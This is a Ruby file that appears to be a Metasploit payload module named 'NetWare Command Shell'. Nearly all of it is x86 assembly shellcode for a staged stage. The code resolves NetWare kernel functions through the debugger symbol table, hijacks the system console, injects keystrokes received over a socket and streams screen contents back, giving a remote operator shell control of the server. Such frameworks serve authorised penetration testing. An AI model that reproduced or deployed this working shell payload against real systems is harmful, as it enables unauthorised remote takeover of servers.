##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasm'

module MetasploitModule
  include Msf::Sessions::CommandShellOptions

  # rubocop:disable Metrics/MethodLength
  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'NetWare Command Shell',
        'Description' => 'Connect to the NetWare console (staged)',
        'Author' => 'toto',
        'License' => MSF_LICENSE,
        'Platform' => 'netware',
        'Arch' => ARCH_X86,
        'Session' => Msf::Sessions::CommandShell,
        'PayloadCompat' => {
          'Convention' => 'sockesi'
        },
        'Stage' => {
          'Offsets' =>
            {
              # 'EXITFUNC' => [ 443, 'V' ]
            },
          'Assembly' => <<~EOS
            jmp main_code
            ;;;
            ; resolve a symbol address using the DebuggerSymbolHashTable
            ; (could resolve only against function name for smaller code)
            ;;;

            resolv_addr:
              push edi
              push ecx
              xor edi, edi
            r_loop:
              mov edx, [ebp+edi*4]
              test edx, edx
              jz  r_next
            r_loop2:
              xor esi, esi
              mov ebx, [edx+8]
              mov al, byte ptr[ebx]
            r_iloop2:
              test al, al
              jz r_after2
              inc ebx
              movzx ecx, byte ptr[ebx]
              ror esi, 0x0d
              add esi, ecx
              dec al
              jmp r_iloop2
            r_after2:
              cmp esi, [esp+0x0c]
              jz r_found
              mov edx, [edx]
              test edx, edx
              jnz r_loop2
            r_next:
              inc edi
              cmp edi, 0x200
              jnz r_loop
              jmp r_end
            r_found:
              mov eax, [edx+4]
            r_end:
              pop ecx
              pop edi
              ret


            main_code:
              ; save socket identifier
              call main_next
            main_next:
              pop edi
              add edi, (socket_ptr - main_next)
              mov eax, esi
              stosd

              ; search DebuggerSymbolHashTable pointer using GDT system call gate
              ; -> points inside SERVER.NLM
              cli
              sub esp, 8
              mov ecx, esp
              sgdt [ecx]

              cli
              mov ebx, [ecx+2]
              mov bp, word ptr [ebx+0x4E]
              shl ebp, 16
              mov bp, word ptr [ebx+0x48]

            f_finddebugger:
              cmp dword ptr[ebp], 0
              jnz f_next
              cmp dword ptr[ebp+4], 0x808bc201
              jz f_end
            f_next:
              dec ebp
              jmp f_finddebugger
            f_end:
              mov ebp, [ebp-7]

              ; resolve function pointers
              mov cl, 15
            resolv_ptrs:
              push [edi]
              call resolv_addr
              stosd
              dec cl
              test cl, cl
              jnz resolv_ptrs

              sti

              ; all screens have the same size
              push edi
              lea esi, [edi+4]
              push esi
              call [edi-0x18]        ; SERVER.NLM|GetScreenSize

              ; allocate 2 buffer for the main screen and the backup
              xor eax, eax
              xor ebx, ebx
              mov ax, word ptr[edi]
              mov bx, word ptr[esi]
              imul eax, ebx
              mov [edi+8], eax

              push eax
              call [edi-8]          ; AFPTCP.NLM|LB_malloc
              mov [edi+0xc], eax

              call [edi-0x14]       ; SERVER.NLM|GetSystemConsoleScreen
              mov [edi+0x10], eax

              sub esp, 4
              mov ebp, esp          ; n

            recv_loop:
              xor ebx, ebx
              inc ebx

              push 200000           ; tv_usec
              push 0                ; tv_sec (0)
              mov edx, esp          ; timeout

              sub esp, 4
              mov ecx, esp          ; rescode

              push 1                ; num socket (1)
              push ecx              ; &rescode
              push edx              ; &timeout
              push 0                ; NULL
              push 0                ; NULL
              push 0                ; NULL
              push [edi-0x40]       ; socket
              call [edi-0x2C]       ; LIBC.NLM|bsd_select_mp
              add esp, 0x28
              test eax, eax
              jnz end

              call update_screen

              sub esp, 4
              mov edx, esp
              push edx              ; &rescode
              push ebp              ; &n
              push ebx              ; FIONREAD
              push [edi-0x40]       ; socket
              call [edi-0x38]       ; LIBC.NLM|_ioctlsocket
              add esp, 0x14
              test eax, eax
              jnz end
              cmp [ebp], 0
              jz recv_loop
              ; check we are not longer than the key buffer size
              cmp [ebp], 32
              jbe recvd
              mov [ebp], 32
            recvd:
              lea eax, [edi+0x20]
              push [ebp]
              push eax
              call recv_data
              add esp, 8

              mov ebx, [ebp]
              lea esi, [edi+0x20]
              mov byte ptr[esi+ebx], 0

              ;push 0x00FFFEFF
              ;mov eax, esp
              ;push eax
              ;push [edi+0x10]         ; screen
              ;call [edi-0x3C]         ; SERVER.NLM|DirectOutputToScreen
              ;add esp, 0x0c

            send_input:
              movzx eax, byte ptr[esi]
              test eax, eax
              jz send_end

              cmp al, 0x0a
              jz send_enter

              ; we need to inject the command in the console input
              push 0x00
              push 0x00               ; should be the keycode in fact
              push eax                ; key value
              push 0x0
              push [edi+0x10]         ; screen
              call [edi-0x20]         ; SERVER.NLM|AddKey
              jmp send_next

            send_enter:
              ; send special code for enter
              push 0x1c
              push 0x00
              push 0x00
              push 0x02
              push [edi+0x10]         ; screen
              call [edi-0x20]         ; SERVER.NLM|AddKey

              push 0x00FFFEFF
              mov eax, esp
              push eax
              push [edi+0x10]         ; screen
              call [edi-0x3C]         ; SERVER.NLM|DirectOutputToScreen
              add esp, 0x0c
            send_next:

              add esp, 0x14
              inc esi
              jmp send_input
            send_end:

              jmp recv_loop

            end:
              sub esp, 4
              mov ebp, esp          ; rescode

              push ebp              ; rescode
              push 2                ; SHUT_RDWR
              push [edi-0x40]       ; socket
              call [edi-0x30]       ; LIBC.NLM|bsd_shutdown_mp

              push ebp              ; rescode
              push [edi-0x40]       ; socket
              call [edi-0x34]       ; LIBC.NLM|bsd_close_mp

              ; go back to the main kernel loop
              call [edi-0x0C]       ; SERVER.NLM|kWorkerThread


            update_screen:
              pushad

              push [edi+0x0c]
              push 0
              push [edi+0x08]
              push 0
              push [edi+0x10]
              call [edi-0x1C]       ; SERVER.NLM|ReadScreenIntoBuffer
              add esp, 0x14

              mov edx, [edi+0x0c]
              xor ebx, ebx
              xor esi, esi
              xor ebp, ebp
            checksum:
              cmp ebx, [edi+4]
              jz end_checksum
              xor ecx, ecx
            check_line:
              cmp ecx, [edi]
              jz next_line
              mov al, byte ptr[edx]
              ror esi, 0x0d
              add esi, eax
              cmp [edx], 0x20FFFEFF
              jnz check_line2
              mov ebp, ebx
              inc ebp
            check_line2:
              inc edx
              inc ecx
              jmp check_line
            next_line:
              inc ebx
              jmp checksum
            end_checksum:

              cmp esi, [edi+0x14]
              jnz new_checksum
              cmp [edi+0x18], 1
              jz end_update
              mov [edi+0x18], 1
              push ebp
              call send_screen
              add esp, 4
              jmp end_update

            new_checksum:
              mov [edi+0x14], esi
              mov [edi+0x18], 0
            end_update:
              popad
              ret


            send_screen:
              push ebx

              sub esp, 4
              mov esi, esp

              push esi
              lea eax, [esi+2]
              push eax
              push [edi+0x10]
              call [edi-0x10]       ; SERVER.NLM|GetInputCursorPosition
              add esp, 0x0c

              mov ebx, [esp+0x0c]
              xor edx, edx
              mov ecx, [edi+0x0c]
              mov eax, dword ptr[edi]
              imul eax, ebx
              add ecx, eax

            send_loop:
              cmp bx, word ptr[esi+2]
              jae last_line
              mov dx, word ptr[edi]
              jmp next_send
            last_line:
              mov dx, word ptr[esi]
            next_send:

              push edx
              push ecx
              call send_data
              add esp, 0x08

              cmp bx, word ptr[esi+2]
              jae end_sl

              push 0x0000000a
              mov eax, esp
              push 1
              push eax
              call send_data
              add esp, 0x0C

              inc ebx
              add ecx, edx
              cmp bx, word ptr[esi+2]
              jbe send_loop
            end_sl:
              pop ebx
              pop ebx
              ret


            send_data:
              push [esp+8]
              push [esp+8]
              push [edi-0x40]
              push [edi-0x24]
              call sendrecv_data
              add esp, 0x10
              ret

            recv_data:
              push [esp+8]
              push [esp+8]
              push [edi-0x40]
              push [edi-0x28]
              call sendrecv_data
              add esp, 0x10
              ret


            sendrecv_data:
              push ebp
              push ecx
              push ebx
              push edx
              mov ebp, esp

              push [ebp+0x20]         ; iov_len
              push [ebp+0x1C]         ; iov_base
              mov ecx, esp            ; msg_iov

              xor ebx, ebx            ; struct msghdr
              push ebx                ; msg_flags
              push ebx                ; msg_controllen
              push ebx                ; msg_control
              inc ebx
              push ebx                ; msg_iovlen (1 array)
              dec ebx
              push ecx                ; msg_iov
              push ebx                ; msg_namelen
              push ebx                ; msg_name

              mov ecx, esp            ; message

              sub esp, 4
              mov edx, esp            ; rescode

              push edx                ; rescode
              push 0                  ; flags
              push ecx                ; message
              push [ebp+0x18]         ; socket
              call [ebp+0x14]         ; SERVER.NLM|bsd_recvmsg_mp

              mov esp, ebp
              pop edx
              pop ebx
              pop ecx
              pop ebp
              ret




            socket_ptr:
              dd 0
            fct_ptrs:
              dd 0xadc21dfc         ; SERVER.NLM|DirectUnformattedOutputToScreen
              dd 0xb08c8051         ; LIBC.NLM|_ioctlsocket
              dd 0x4907702d         ; LIBC.NLM|bsd_close_mp
              dd 0x312cc527         ; LIBC.NLM|bsd_shutdown_mp
              dd 0x46c65ccd         ; LIBC.NLM|bsd_select_mp
              dd 0x3605cc1c         ; LIBC.NLM|bsd_recvmsg_mp
              dd 0x35bdd27c         ; LIBC.NLM|bsd_sendmsg_mp
              dd 0xe98bfec3         ; SERVER.NLM|AddKey
              dd 0x6ea378a4         ; SERVER.NLM|ReadScreenIntoBuffer
              dd 0x898d560c         ; SERVER.NLM|GetScreenSize
              dd 0x03cfcbe3         ; SERVER.NLM|GetSystemConsoleScreen
              dd 0xfe52051f         ; SERVER.NLM|GetInputCursorPosition
              dd 0x9294bdcb         ; SERVER.NLM|kWorkerThread
              dd 0x6877687c         ; AFPTCP.NLM|LB_malloc
              dd 0xaf50f9e7         ; AFPTCP.NLM|LB_free
            screen_info:
              dd 0
              dd 0
              dd 0
              dd 0
              dd 0
              dd 0            ; screen checksum
              dd 0            ; screen state
            end_reverse:
              nop
          EOS
        }
      )
    )
  end

  def size
    279
  end
  # rubocop:enable Metrics/MethodLength
end
